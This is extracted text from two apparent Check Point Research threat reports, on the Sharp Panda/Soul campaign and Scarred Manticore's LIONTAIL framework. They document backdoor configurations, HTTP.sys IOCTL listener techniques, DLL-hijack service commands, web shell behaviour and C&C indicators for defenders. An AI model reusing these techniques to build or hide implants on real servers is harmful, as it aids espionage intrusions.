+Create a buffer with all registry keys +under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies in the format of %s:%f:; (key +name and first 4 bytes of the value), then send the buffer back to the C&C. +All the received modules are stored compressed in the registry. The decompression is performed according to another struct: +struct stored_module +float version_or_id; +QWORD decompressed_size; +QWORD compressed_size; +BYTE md5sum[33]; +BYTE compressed_data[]; +We didn +t witness any follow-up modules, but due to the modular nature of the backdoor, we can expect the actors to use all kinds of datastealing modules, keyloggers, data exfiltration modules and likely also a lateral movement toolset. +Attribution +As the first stages of the infection chain are identical to the previously described Sharp Panda activity, many of the indicators that allowed us to +attribute the threat actors to Chinese-based threat groups are still relevant in relation to the subsequent attack attempts described in this +report: +The RoyalRoad RTF kit was reported as the tool of choice among Chinese APT groups and is still used despite the exploitation of old +patched vulnerabilities. This implies that at least a portion of the attacks using it are successful, and the threat actors are familiar with the +cybersecurity practices of their targets. +8/10 +Over the past several years, the C&C servers consistently return payloads only between 01:00 + 08:00 UTC Monday-Friday, which we +believe represents the actors + working hours. +The C&C servers did not return payloads during the period of the Chinese Spring Festival, even during working hours. +The victimology of the attacks is consistent with Chinese interests in Southeast Asian countries, particularly those with similar territorial +claims or strategic infrastructure projects. +In addition, the Soul Backdoor configuration contains 2 hardcoded DNS services, one of which is a Chinese 114DNS Free Public DNS service +which is not commonly used outside the region. +The campaign discussed in this report involves the malicious artifacts from different clusters of malware activity. As sharing custom tools or +operational methods is common among Chinese-based threat actors to facilitate intrusion efforts, it poses a challenge to their attribution. In +addition to observing different toolsets from two previously not connected clusters (Sharp Panda and previous attacks using the Soul +framework), other areas of overlap between publicly tracked Chinese APT groups and this campaign include the following: +Infrastructure: One of the IP addresses used by Sharp Panda +s initial infection in late 2021 overlaps with the IP reportedly used by TAG16 in the same timeframe. In the relevant report, the Insikt Group researchers provided evidence suggesting that TAG-16 shares custom +capabilities with the People +s Liberation Army (PLA)-linked activity group RedFoxtrot. +The Southeast Asian government entity attacked in the described campaign was also targeted by a tool attributed to a Chinese-linked APT +group during the same time period. However, there is currently no clear evidence to tie the tool to this campaign with high confidence. +Symantec researchers also discovered the APT30 toolset in the network of one of the organizations attacked with the Soul framework in +the same timeframe, with no distinctive connection as well. +The vague links of all the aforementioned groups to Chinese intelligence Services, the nature of the targets, and the capabilities of the toolset +used lead us to the conclusion that the described activity is an espionage operation likely executed by well-resourced and possibly nation-state +threat actors. +Conclusion +In this report, we analyzed the TTPs and the tools used in the espionage campaign against Southeast Asian government entities. The initial +infection stages of this campaign use TTPs and tools consistent with Sharp Panda activity first discovered in 2021. We continue to track Sharp +Panda as a separate unknown cluster, and based on our current insight into this threat, we cannot confirm with high confidence their relation +to other Chinese threat actors. +The later stages of the infection chain in the described campaign are based on Soul, a previously unattributed modular malware framework. +While the Soul framework has been in use since at least 2017, the threat actors behind it have been constantly updating and refining its +architecture and capabilities. Based on the technical findings presented in our research, we believe this campaign is staged by advanced +Chinese-backed threat actors, whose other tools, capabilities, and position within the broader network of espionage activities are yet to be +explored. +IOCs +C&C servers +45.76.190[.]210 +45.197.132[.]68 +45.197.133[.]23 +103.78.242[.]11 +103.159.132[.]96 +103.173.154[.]168 +103.213.247[.]48 +139.180.137[.]73 +139.180.138[.]49 +152.32.243[.]17 +office.oiqezet[.]com +Hashes +Phishing documents +32a0f6276fea9fe5ee2ffda461494a24a5b1f163a300bc8edd3b33c9c6cc2d17 +ca7f297dc04acad2fab04d5dc2de9475aed4186805f6c237c10b8f56b384cf30 +341dee709285286bc5ba94d14d1bce8a6416cb93a054bd183b501552a17ef314 +9d628750295f5cde72f16da02c430b5476f6f47360d008911891fdb5b14a1a01 +811a020b0f0bb31494f7fbe21893594cd44d90f77fcd1f257925c4ac5fabed43 +b023e2b398d552aacb2233a6e08b4734c205ab6abf5382ec31e6d5aa7c71c1cb +9/10 +External template (RoyalRoad RTF) +81d9e75d279a953789cbbe9ae62ce0ed625b61d123fef8ffe49323a04fecdb3f +12c1a4c6406ff378e8673a20784c21fb997180cd333f4ef96ed4873530baa8d3 +f2779c63373e33fdbd001f336df36b01b0360cd6787c1cd29a6524cc7bcf1ffb +7a7e519f82af8091b9ddd14e765357e8900522d422606aefda949270b9bf1a04 +4747e6a62fee668593ceebf62f441032f7999e00a0dfd758ea5105c1feb72225 +3541f3d15698711d022541fb222a157196b5c21be4f01c5645c6a161813e85eb +5.t Downloader +0f9f85d41da21781933e33dddcc5f516c5ec07cc5b4cff53ba388467bc6ac3fd +17f4a21e0e8c0ce958baf34e45a8b9481819b9b739f3e48c6ba9a6633cf85b0e +f8622a502209c18055a308022629432d82f823dd449abd9b17c61e363a890828 +1a15a35065ec7c2217ca6a4354877e6a1de610861311174984232ba5ff749114 +065d399f6e84560e9c82831f9f2a2a43a7d853a27e922cc81d3bc5fcd1adfc56 +1e18314390302cd7181b710a03a456de821ad85334acfb55f535d311dd6b3d65 +c4500ad141c595d83f8dba52fa7a1456959fb0bc2ee6b0d0f687336f51e1c14e +390e6820b2cc173cfd07bcebd67197c595f4705cda7489f4bc44c933ddcf8de6 +SoulSearcher +d1a6c383de655f96e53812ee1dec87dd51992c4be28471e44d7dd558585312e0 +Soul Backdoor +df5fe7ec6ecca27d3affc901cb06b27dc63de9ea8c97b87bc899a79eca951d60 +GO UP +BACK TO ALL POSTS +10/10 +From Albania to the Middle East: The Scarred Manticore +is Listening +research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening +October 31, 2023 +Key Findings +Check Point Research (CPR) is monitoring an ongoing Iranian espionage campaign by +Scarred Manticore, an actor affiliated with the Ministry of Intelligence and Security +(MOIS). +The attacks rely on LIONTAIL, an advanced passive malware framework installed on +Windows servers. For stealth purposes, LIONTIAL implants utilize direct calls to +Windows HTTP stack driver HTTP.sys to load memory-residents payloads. +As part of mutual efforts with Sygnia +s Incident Response team, multiple forensics tools +and techniques were leveraged to uncover additional stages of the intrusions and the +LIONTAIL framework. +The current campaign peaked in mid-2023, going under the radar for at least a year. +The campaign targets high-profile organizations in the Middle East with a focus on +government, military, and telecommunications sectors, in addition to IT service +providers, financial organizations and NGOs. +Scarred Manticore has been pursuing high-value targets for years, utilizing a variety +of IIS-based backdoors to attack Windows servers. These include a variety of custom +web shells, custom DLL backdoors, and driver-based implants. +While the main motivation behind Scarred Manticore +s operation is espionage, some of +the tools described in this report have been associated with the MOIS-sponsored +destructive attack against Albanian government infrastructure (referred to as DEV0861). +Introduction +Check Point Research, in collaboration with Sygnia +s Incident Response Team, has been +tracking and responding to the activities of Scarred Manticore, an Iranian nation-state threat +actor that primarily targets government and telecommunication sectors in the Middle East. +Scarred Manticore, linked to the prolific Iranian actor OilRig (a.k.a APT34, EUROPIUM, +Hazel Sandstorm), has persistently pursued high-profile organizations, leveraging access to +systematically exfiltrate data using tailor-made tools. +In the latest campaign, the threat actor leveraged the LIONTAIL framework, a sophisticated +set of custom loaders and memory resident shellcode payloads. LIONSTAIL +s implants utilize +undocumented functionalities of the HTTP.sys driver to extract payloads from incoming HTTP +1/31 +traffic. Multiple observed variants of LIONTAIL-associated malware suggest Scarred +Manticore generates a tailor-made implant for each compromised server, allowing the +malicious activities to blend into and be undiscernible from legitimate network traffic. +We currently track this activity as Scarred Manticore, an Iranian threat actor that is most +closely aligned with DEV-0861. Although the LIONTAIL framework itself appears to be +unique and bears no clear code overlaps with any known malware family, other tools used in +those attacks overlap with previously reported activities. Most notably, some of those were +eventually linked back to historic OilRig or OilRig-affiliated clusters. However, we do not have +sufficient data to properly attribute the Scarred Manticore to OilRig, even though we do +believe they +re likely related. +The evolution in the tools and capabilities of Scarred Manticore demonstrates the progress +the Iranian actors have undergone over the last few years. The techniques utilized in recent +Scarred Manticore operations are notably more sophisticated compared to previous activities +CPR has tied to Iran. +In this article, we provide a technical analysis of the latest tools and the evolution of Scarred +Manticore +s activity over time. This report details our understanding of Scarred Manticore, +most notably its novel malware framework LIONTAIL, but also provides an overview of other +toolsets we believe are used by the same actor, some of which were publicly exposed in the +past. This includes, but is not limited to, tools used in the intrusion into the Albanian +government infrastructure, web shells observed in high-profile attacks in the Middle East, +and recently reported WINTAPIX driver-based implants. +While we finalized this blog post, a technical analysis of part of this activity was published by +fellow researchers from Cisco Talos. While it overlaps with our findings to some extent, our +report provides additional extended information, in-depth insights, and a broader +retrospective regarding the threat actor behind this operation. +LIONTAIL Framework +LIONTAIL is a malware framework that includes a set of custom shellcode loaders and +memory resident shellcode payloads. One of its components is the LIONTAIL backdoor, +written in C. It is a lightweight but rather sophisticated passive backdoor installed on +Windows servers that enables attackers to execute commands remotely through HTTP +requests. The backdoor sets up listeners for the list of URLs provided in its configuration and +executes payloads from requests sent by attackers to those URLs. +The LIONTAIL backdoor components are the main implants utilized in the latest Scarred +Manticore intrusions. Utilizing access from a publicly facing server, the threat actor chains a +set of passive implants to access internal resources. The internal instances of the LIONTAIL +2/31 +backdoors we +ve seen so far either listen on HTTP(s), similar to the internet-facing instances, +or in some cases use named pipes to facilitate remote code execution. +Figure 1 + Overview of the LIONTAIL malware framework. +LIONTAIL Loaders +Installation +We observed 2 methods of backdoor installation on the compromised Windows servers: +standalone executables, and DLLs loaded through search order hijacking by Windows +services or legitimate processes. +When installed as a DLL, the malware exploits the absence of some DLLs on Windows +Server OS distributions: the backdoor is dropped to the system +folder C:\windows\system32 as wlanapi.dll or wlbsctrl.dll. By default, neither of +these exist on Windows Server installations. Depending on the Windows Server version, the +malicious DLL is then loaded either directly by other processes, such as Explorer.exe, or the +threat actors enable specific services, disabled by default, that require those DLLs. +In the case of wlbsctrl.dll, the DLL is loaded at the start of the IKE and AuthIP IPsec +Keying Modules service. For wlanapi.dll, the actors enable Extensible Authentication +Protocol: +sc.exe config Eaphost start=auto +sc.exe start Eaphost +In instances where LIONTAIL is deployed as an executable, a noteworthy characteristic +observed in some is the attempt to disguise the executable as Cyvera Console, a +component of Cortex XDR. +3/31 +Configuration +The malware starts by performing a one-byte XOR decryption of a structure containing the +malware configuration, which is represented with the following structure: +QWORD var_0 +QWORD var_8 +QWORD magic_number +DWORD num_of_end_string +DWORD num_of_listen_urls +STRING end_string +STRING[] listen_urls +The field listen_urls defines particular URL prefixes to which the malware listens for +incoming requests. +All of the samples + URL lists include the http://+:80/Temporary_Listen_Addresses/ URL +prefix, a default WCF URL reservation that allows any user to receive messages from this +URL. Other samples include multiple URLs on ports 80, 443, and 444 (on Exchange servers) +mimicking existing services, such as: +https://+:443/autodiscover/autodiscovers/ +https://+:443/ews/exchanges/ +https://+:444/ews/ews/ +Many LIONTAIL samples contain tailor-made configurations, which add multiple other +custom URLs that match existing web folders on the compromised server. As the URLs for +the existing folders are already taken by the actual IIS service, the generated payloads +contain additional random dictionary words in the path. These ensure the malware +communication blends into legitimate traffic, helping to make it more inconspicuous. +The host element of all prefixes in the configuration consists of a single plus sign (+), a +strong wildcard + that matches all possible host names. A strong wildcard is useful when an +application needs to serve requests addressed to one or more relative URLs, regardless of +how those requests arrive on the machine or what site (host or IP address) they specify in +their Host headers. +To understand how the malware configures listeners on those prefixes and how the approach +changes with time, we pause for a short introduction to the Windows HTTP stack. +Windows HTTP Stack components +4/31 +A port-sharing mechanism, which allows multiple HTTP services to share the same TCP port +and IP address, was introduced in Windows Server 2003. This mechanism is encapsulated +within HTTP.sys, a kernel-mode driver that assumes the responsibility of processing HTTP +requests, listens to incoming HTTP requests, and directs them to the relevant user-mode +processes or services for further handling. +On top of the driver layer, Windows provides the HTTP Server API, a user-mode component +that provides the interface for interacting with HTTP.sys. In addition, the Internet Information +Services (IIS) under the hood relies on HTTP API to interact with the HTTP.sys driver. In a +similar fashion, the HttpListener class within the .NET framework is a simple wrapper +around the HTTP Server API. +Figure 2 + Schema of HTTP stack components on Windows Servers (source). +The process of receiving and processing requests for specific URL prefixes by an application +(or, in our case, malware) can be outlined as follows: +1. The malware registers one or more URL prefixes with HTTP.sys by any of the means +provided by the Windows operating system. +2. When an HTTP request is received, HTTP.sys identifies the application associated with +the request +s prefix and forwards the request to the malware if it +s responsible for that +prefix. +3. The malware +s request handler then receives the request intercepted by HTTP.sys and +generates a response for it. +C&C Communication +After extracting the configuration, the malware uses the same one-byte XOR to decrypt a +shellcode responsible for establishing the C&C communication channel by listening to the +provided URL prefixes list. While the concept of passive backdoors on web-facing Windows +servers is not new and was observed in the wild hijacking the same Windows +DLL wblsctrl.dll as early as 2019 (by Chinese-linked Operation ShadowHammer), the +5/31 +LIONTAIL developers elevated their approach. Instead of using the HTTP API, the malware +uses IOCTLs to interact directly with the underlying HTTP.sys driver. This approach is +stealthier as it doesn +t involve IIS or HTTP API, which are usually closely monitored by +security solutions, but is not a straightforward task given that the IOCTLs for HTTP.sys are +undocumented and require additional research efforts by the threat actors. +First, the shellcode registers the URL prefixes with HTTP.sys using the following IOCTLs: +0x128000 + UlCreateServerSessionIoctl + Creates an HTTP/2.0 session. +0x128010 + UlCreateUrlGroupIoctl + Creates a new UrlGroup. UrlGroups are +configuration containers for a set of URLs created under the server session and inherit +its configuration settings. +0x12801d + UlSetUrlGroupIoctl + Associates the UrlGroup with the request queue by +setting HttpServerBindingProperty. +0x128020 + UlAddUrlToUrlGroupIoctl + Adds the array of listen_urls to the newly +created UrlGroup. +6/31 +Figure 3 + HTTP.sys IOCTL table. +After registering the URL prefixes, the backdoor initiates a loop responsible for handling the +incoming requests. The loop continues until it gets the request from a URL equal to +the end_string provided in the backdoor +s configuration. +The backdoor receives requests from HTTP.sys using 0x124036 +UlReceiveHttpRequestIoctl IOCTL. +Depending on the version of the compromised server, the body of the request is received +using 0x12403B + UlReceiveEntityBodyIoctl or (if higher than 20348) 0x12403A +UlReceiveEntityBodyFastIo. It is then base64-decoded and decrypted by XORing the +whole data with the first byte of the data. This is a common method of encryption observed in +multiple malware families, including but not limited to DEV-0861 +s web-deployed Reverse +proxy. +7/31 +Figure 4 + C&C decryption scheme from the LIONTAIL payload. +The decrypted payload has the following structure: +QWORD shellcode_size +_BYTE[] shellcode +QWORD shellcode_output (should be 0 in the incoming msg) +QWORD shellcode_output_size (should be 0 in the incoming msg) +QWORD MAGIC_NUM (has to be 0x18) +_BYTE[] argument +The malware creates a new thread and runs the shellcode in memory. For some reason, it +uses shellcode_output and shellcode_output_size in the request message as pointers to +the respective data in memory. +To encrypt the response, the malware chooses a random byte, XOR-encodes the data using +it as a key, prepends the key to the result, and then base64-encodes the entire result before +sending it back to the C&C server using the IOCTL 0x12403F + UlSendHttpResponseIoctl. +LIONTAIL web shell +In addition to PE implant, Scarred Manticore uses a web shell-based version of the +LIONTAIL shellcode loader. The web shell is obfuscated in a similar manner to other Scarred +Manticore .NET payloads and web shells. +8/31 +Figure 5 + The main function of the LIONTAIL web shell (formatted, with obfuscations preserved). +The web shell gets requests with 2 parameters: +The shellcode to execute. +The argument for the shellcode to use. +Both parameters are encrypted the same way as other communication: XOR with the first +byte followed by base64 encoding. +The structure of shellcodes and of arguments sent to the web shell-based shellcode loader is +identical to those used in the LIONTAIL backdoor, which suggests that the artifacts observed +are part of a bigger framework that allows the dynamic building of loaders and payloads +depending on the actor +s access and needs. +LIONTAIL version using named pipes +During our research, we also found loaders that have a similar internal structure to the +LIONTAIL samples. Instead of listening on URL prefixes, this version gets its payloads from a +named pipe and likely is designated to be installed on internal servers with no access to the +public web. The configuration of the malware is a bit different: +QWORD var_0 +9/31 +QWORD var_8 +QWORD var_10 +DWORD var_18 +DWORD dwOpenMode +DWORD dwPipeMode +DWORD nMaxInstances +DWORD nOutBufferSize +DWORD nInBufferSize +DWORD nDefaultTimeOut +STRING pipe_name +The main shellcode starts with converting the string security descriptor "D: +(A;;FA;;;WD) + into a valid, functional security descriptor. As the string starts with +, it +indicates a DACL (discretionary access control list) entry, which typically has the following +format: entry_type:inheritance_flags(ACE_type; ACE_flags; rights; object_GUID; +inherit_object_GUID; account_SID). In this case, the security descriptor allows (A) File All +Access (FA) to everyone (WD). +The security descriptor is then used to create a named pipe based on the values provided in +the configuration. In the samples we observed, the name of the pipe used is \\.\pipe\testpipe. +s noteworthy that, unlike the HTTP version, the malware doesn +t employ any more +advanced techniques for connecting to the named pipe, reading from it, and writing to it. +Instead, it relies on standard kernel32.dll APIs such as CreateNamedPipe, +and ReadFileWriteFile. +The communication of named pipes-based LIONTAIL is identical to the HTTP version, with +the same encryption mechanism and the same structure of the payload which runs as a +shellcode in memory. +LIONTAIL in-memory components +Types of payloads +10/31 +After the LIONTAIL loader decrypts the payload and its argument received from the +attackers + C&C server, it starts with parsing the argument. It is a structure that describes a +type of payload for the shellcode to execute and it is built differently depending on the type of +payload: +TYPE = 1 + Execute another shellcode: +DWORD type // 1 +QWORD shellcode_size +_BYTE[] Shellcode +TYPE = 2 + Execute the specified API function: +DWORD type // 2 +CHAR[] library_name +CHAR[] api_name +The argument for the API execution has the following structure: +DWORD need_to_be_freed_flag +QWORD argument_size +_BYTE[] argument +Next stages +To make things more complicated, Scarred Manticore wraps the final payload in nested +shellcodes. For example, one of the shellcodes received from the attackers runs another +almost identical shellcode, which in turn runs a final shellcode responsible for machine +fingerprinting. +The data gathered by this payload is collected by running specific Windows APIs or +enumerating the registry keys, and includes these components: +Computer Name (using GetComputerNameW API) and Domain Name +(using GetEnvironmentVariableA API) +Flag if the system is 64-bit (using GetNativeSystemInfo API, the check is done with +wProcessorArchitecture == 9) +Number of processors (dwNumberOfProcessors using GetNativeSystemInfo API) +Physical RAM (GetPhysicallyInstalledSystemMemory) +Data from CurrentVersion registry key (Type, Name length, Name, Data length, Data) +11/31 +Data fromSecureBoot\State registry key (the same data) +Data from System\Bios registry key (the same data) +The final structure, which contains all the gathered information, also has a place for error +codes for the threat actor to use to figure out why some of the APIs they use don +t work as +expected: +DWORD last_error (GetComputerNameW) +DWORD last_error (GetPhysicallyInstalledSystemMemory) +DWORD last_error (GetEnvironmentVariableA) +DWORD last_error (NtOpenKey CurrentVersion) +DWORD last_error (NtQueryKey CurrentVersion) +DWORD num_of_values (CurrentVersion) +DWORD last_error (NtOpenKey SecureBoot\State) +DWORD last_error (NtQueryKey SecureBoot\State) +DWORD num_of_values (SecureBoot\State) +DWORD last_error (NtOpenKey System\Bios) +DWORD last_error (NtQueryKey System\Bios) +DWORD num_of_values (System\Bios) +QWORD num_of_proccesors +QWORD total_RAM +QWORD tick_count +QWORD is_64_bit +_CHAR[0X10] computer_name +_CHAR[0X10] domain_name +_BYTE[] CurrentVersion_data +_BYTE[] SecureBootState_data +_BYTE[] SystemBios_data +12/31 +Additional Tools +In addition to using LIONTAIL, Scarred Manticore was observed leveraging other custom +components. +LIONHEAD web forwarder +On some of the compromised exchange servers, the actors deployed LIONHEAD, a tiny web +forwarder. LIONHEAD is also installed as a service using the same phantom DLL hijacking +technique as LIONTAIL and utilizes similar mechanisms to forward the traffic directly to +Exchange Web Services (EWS) endpoints. +LIONHEAD +s configuration is different from LIONTAIL: +DWORD timeout 0x493E0 +DWORD forward_port 444 +STRING end_string '' +STRING forward_server 'localhost' +STRING forward_path '/ews/exchange.asmx' +STRING[] listen_urls 'https://+:443//' +The backdoor registers the listen_urls prefixes in the same way as LIONTAIL and listens +for requests. For each request, the backdoor copies the content type, cookie, and body and +forwards it to the /: specified in the +configuration. Next, the backdoor gets a response from forward_server and sends it back to +the URL that received the original request. +This forwarder might be used to bypass the restrictions on external connections to EWS, +hide the real consumer of EWS data being external, and consequently conceal data +exfiltration. +Web shells +Scarred Manticore deploys multiple web shells, including those +previously attributed indirectly to OilRig. Some of these web shells stand out due to their +obfuscations, naming conventions and artifacts. The web shells retain class and method +obfuscation and a similar string encryption algorithm (XOR with one byte, the key is derived +from the first byte or from the first 2 bytes) to many other web shells and .NET-based tools +used by Scarred Manticore in their attacks over the past few years. +13/31 +One of those shells is a heavily obfuscated and slightly modified version of an open-source +XML/XSL transform web shell, Xsl Exec Shell. This web shell also contains two obfuscated +functions that return the string +~/1.aspx +. These functions are never called and likely are +remnants from other versions, as we observed them in tools used previously by Scarred +Manticore, such as FOXSHELL, which is discussed later: +Figure 6 + Unused strings remained from the FOXSHELL web shell versions. +Targeting +Based on our visibility into the latest wave of attacks that utilize LIONTAIL, the observed +victims are located across the Middle East region, including Saudi Arabia, the United Arab +Emirates, Jordan, Kuwait, Oman, Iraq, and Israel. The majority of the impacted entities +belong to government, telecommunications, military, and financial sectors, as well as IT +services providers. However, we also observed the infection on the Exchange servers +belonging to a regional affiliate of a global non-profit humanitarian network. +The geographic region and the targeted profile are aligned with Iranian interests and in line +with the typical victim profile that MOIS-affiliated clusters usually target in espionage +operations. +14/31 +Figure 7 + Targeted countries. +Previously, DEV-0861, a cluster we believed aligns with Scarred Manticore, was +publicly exposed for the initial access to and data exfiltration from the Albanian government +networks, as well as email exfiltration from multiple organizations in the Middle Eastern +countries such as Kuwait, Saudi Arabia, Turkey, UAE, and Jordan. +Attribution and Historical Activity +Since at least 2019, Scarred Manticore deployed unique tools on compromised Internetfacing Windows servers in the Middle East region. During these years, their toolset went +through significant development. It began as open-source-based web-deployed proxies and +15/31 +over time evolved to become a diverse and powerful toolset that utilizes both custom-written +and open-source components. +Figure 8 + Overview of code and capabilities evolution of multiple malware versions used by Scarred +Manticore. +Tunna-based web shell +One of the earliest samples related to the threat actor +s activity is based on a web shell +from Tunna, an open-source tool designed to tunnel any TCP communication over HTTP. +The Tunna web shell allows to connect from the outside to any service on the remote host, +including those that are blocked on the firewall, as all the external communication to the web +shell is done via HTTP. The IP and the port of the remote host are sent to the web shell in +the configuration stage, and in many cases, Tunna is mostly used to proxy RDP connections. +The web shell used by the threat actor has the internal version Tunna v1.1g (only version +1.1a is available on Github). The most significant change from the open-source version is the +encryption of requests and responses by XORing the data with the pre-defined +string szEncryptionKey and appending the constant string K_SUFFIX at the end: +16/31 +Figure 9 + Encryption function in +Tunna 1.1g + proxy used by the threat actors. +Figure 10 + Decryption and encryption of data by Tunna proxy. +FOXSHELL: XORO version +Over time, the code was refactored and lost its resemblance to Tunna. We track this and all +further versions as FOXSHELL. +17/31 +The biggest changes resulted from organizing multiple entities into classes using an +objective-oriented approach. The following class structure persists in most of the FOXSHELL +versions: +Figure 11 + Classes within FOXSHELL. +All the functionality responsible for encrypting the traffic moved to a +separate EncryptionModule class. This class loads a .NET DLL embedded in a base64encoded string inside the body of FOXSHELL and invokes +its encrypt and decrypt methods: +18/31 +Figure 12 + Base64-encoded EncryptionDll inside the web shell. +Figure 13 + EncryptionModule class responsible for the encrypt and decrypt method invocation. +The embedded encryption module +s name is XORO.dll, and its +class Encryption.XORO implements decrypt and encrypt methods the same way as the +Tunna-based web shell, using the same hardcoded values: +19/31 +Figure 14 + Encryption constants and decryption function inside XORO.dll. +All requests to the web shell are also encapsulated within a class called Package, which +handles different PackageTypes: Data, Config, OK, Dispose, or Error. The PackageType is +defined by the first byte of the package, and depending on the type of Package, the web +shell parses the package and applies the configuration (opens a new socket to the remote +machine specified in the configuration and applies a new EncryptionDll if provided), or +disposes of the existing socket, or proxies the connection if the package is type Data: +20/31 +Figure 15 + Package handling in FOXSHELL. +FOXSHELL: Bsae64 version (not a typo) +This version of the web shell is still unobfuscated, and its internal version is specified in the +code: +const string Version = "1.5" +The web shell also contains the default EncryptionDll embedded inside. The module +s name +is Base64.dll, and the encryption class, which is misspelled as Bsae64, exposes the encrypt +and decrypt methods. However, both are just simple base64 encoding: +21/31 +Figure 16 + Encrypt and decrypt methods in Base64.dll. +Although this simple encoding could be done in the code of the web shell itself, the existence +of other embedded DLLs, such as XORO.dll (described previously), and the ability to provide +yet another EncryptionDll on the configuration stage, implies that the attackers prefer to +control which specific type of encryption they want to use by default in certain environments. +Other changes in this version are the renaming of the PackageType Config to RDPconfig, +and ConfigPackage to RDPConfigPackage, indicating the actors are focused on proxying +RDP connections. The code of these classes remains the same: +Figure 17 + RDP Configuration class. +22/31 +Finally, another condition in the code handles the case of the web shell receiving a nonempty parameter WV-RESET, which calls a function to shut down the proxy socket and sends +an OK response back to the attackers: +Figure 18 +Close proxy + WV-RESET parameter. +Web shell within a web shell: compiled FOXSHELL +The versions that were described above, targeted entities in Middle Eastern countries, such +as Saudi Arabia, Qatar, and the United Arab Emirates. This version, in addition to being +leveraged against Middle Eastern governmental entities, was part of the attack against the +Albanian government in May 2021. Through the exploitation of an Internet-facing Microsoft +SharePoint server, the actors deployed ClientBin.aspx on the compromised server to proxy +external connections and thus facilitate lateral movement throughout the victim +environment. +The details of the samples may vary but in all of them, the FOXHELL is compiled as DLL and +embedded inside the base web shell in base64. The compiled DLL is loaded +with System.Reflection.Assembly.Load, and then the ProcessRequest method from it is +invoked. The DLL is written in .NET and has the name pattern App_Web_.dll, +which indicates an ASP.NET dynamically compiled DLL. +Figure 19 + A web shell loading App_Web_*.dll. +The App_Web* DLL is affected by the class and method obfuscation, and all the strings are +encrypted with a combination of Base64, XOR with the first byte, and AES: +23/31 +Figure 20 + The inchpublic function, responsible for string encryption, showcases obfuscations of methods +and classes. +When the web shell is compiled into DLL, it contains the initialization stub, which ensures +that the web shell listens on the correct URI. In this case, the initialization happens in the +following piece of code: +Figure 21 + Initialization stub in the web shell App_Web_*.dll. +Or, after deobfuscation: +public concertthis_medal() { +base.AppRelativeVirtualPath = "~/1.aspx" +24/31 +if (!concertthis_medal.__initialized) { +concertthis_medal.__fileDependencies = base.GetWrappedFileDependencies(new +string{"~/1.aspx"}); +concertthis_medal.__initialized = true; } +This initialization sets the FOXSHELL to listen to the requests on the relative path ~/1.aspx, +which we observed as an unused artifact in other web shells related to attacks involving +LIONTAIL. +Internally, the DLL has the same + version of FOXSHELL, which includes the WVRESET parameter to stop the proxy and the same default Bsae64 Encryption DLL as in +previous versions. +Standalone backdoor based on IIS ServerManager and HTTPListener +Since mid-2020, in addition to the FOXSHELL as a means to proxy the traffic, we also +observed a rather sophisticated standalone passive backdoor, written in .NET and meant to +be deployed on IIS servers. It is obfuscated with similar techniques as FOXSHELL and +masquerades as System.Drawing.Design.dll. The SDD backdoor was +previously analyzed by a Saudi researcher but was never attributed to a specific threat actor +or campaign. +C&C Communication +The SSD backdoor sets up C&C communication through an HTTP listener on the infected +machine. It is achieved using two classes: +ServerManager + A part of the System.Web.Administration namespace in .NET used +for managing and configuring Internet Information Services (IIS) on a Windows server, +such as get configuration, create, modify, or delete IIS sites, applications, and +application pools. +HTTPListener + A class in the .NET Framework used for creating custom HTTP +servers, independent of IIS and based on HTTP API. +ServerManager is used to extract the sites hosted by the IIS server and build the HashSet of +URL prefixes to listen on: +25/31 +Figure 22 + Obfuscated code of angleoppose_river function that builds HashSet of URL prefixes +based on sites and bindings configured on the IIS server (Illdefy array provides the relative URls). +In this specific case, the only relative URI configured in the malware sample is +Temporary_Listen_Addresses. The malware then uses the HttpListener class to start +listening on the specified URL prefixes: +Figure 23 + The HttpListener start code. +C&C command execution +The backdoor has several capabilities: execute commands using cmd.exe, upload and +download files, execute processes with specified arguments, and run additional .NET +assemblies. +26/31 +Figure 24 + Request handler of the SDD backdoor. +First, if the POST request body contains data, the malware parses it and handles the +message as one of the 4 commands it supports. Otherwise, if the request contains a +parameter Vet, the malware simply decodes its value from base64 and executes it with cmd +/c. If none of these is true, then the malware handles the heartbeat mechanism: if the +request URL contains the string wOxhuoSBgpGcnLQZxipa in lowercase, then the malware +sends back UsEPTIkCRUwarKZfRnyjcG13DFA along with a 200 OK response. +The data from the POST request is encrypted using Base64 and simple XOR-based +encryption: +Figure 25 + Command decryption algorithm. +After decrypting the data of the message, the malware parses it according to the following +order: +DWORD command_type +DWORD command_name_length +STRING command_name +27/31 +STRING data +Figure 26 + Switch that handles possible SDD backdoor command types. +The possible commands, as named by the threat actors, include: +Command + Executes a process with a specified argument. In this case, the data is +parsed to extract the process name and its argument. +Upload + Uploads a file to the specified path in the infected system. +Download + Sends a specified file to the threat actors. +Rundll + Loads assembly and runs it with specified parameter (if exists). +The response data is built the same way as the request (returns command type, command +name, and output) and then encrypted with the same XOR-based algorithm as the request. +WINTAPIX driver +Recently, Fortinet revealed a wave of attacks against Middle Eastern targets (mostly Saudi +Arabia, but also Jordan, Qatar, and the United Arab Emirates) that involve kernel mode +drivers that the researchers named WINTAPIX. Although the exact infection chain to install +the drivers is unknown, they target only IIS servers as they use the IIS ServerManager +object. The high-level execution flow is the following: +1. WINTAPIX driver is loaded in the kernel. +2. WINTAPIX driver enumerates user-mode processes to find a suitable process with +local system privileges. +3. WINTAPIX driver injects an embedded shellcode into a previously found process. The +shellcode is generated using the open-source Donut project, which allows the creation +of a position-independent shellcode capable of loading and executing .NET assemblies +from memory. +4. The injected shellcode loads and executes an encrypted .NET payload. +28/31 +The final payload is obfuscated with a commercial obfuscator in addition to already familiar +class, method, and string obfuscations, and it combines the functionality of the SDD +backdoor and FOXSHELL proxy. To achieve both, it listens on two sets of URL prefixes, +using ServerManager and HTTPListener similarly to the SSD backdoor. +The FOXSHELL version used within the driver payload is set to 1.7. The main enhancement +introduced in this version is the Event Log bypass using a known technique of suspending +EventLog Service threads. The default EncryptionDll hardcoded in the driver is the same +Bsae64.dll, and the core proxy structure remains largely unaltered when compared to +FOXSHELL version 1.5. +Figure 27 + Version hardcoded in the .NET payload. +Figure 28 + FOXSHELL 1.7 class structure. +As an extensive analysis of the WINTAPIX driver and its version SRVNET2 was already +provided, here we only highlight the main overlaps between those and other discussed tools +that strengthen their affiliation: +The same code base as the SDD backdoor, including the heartbeat based on the same +string values wOxhuoSBgpGcnLQZxipa and UsEPTIkCRUwarKZfRnyjcG13DFA. +The same supported backdoor command types and encryption with the same key. +The same codebase as FOXSHELL, structure, and functionality. +The same obfuscation and encryption methods. +Outlook +LIONTAIL framework components share similar obfuscation and string artifacts with +FOXSHELL, SDD backdoor, and WINTAPIX 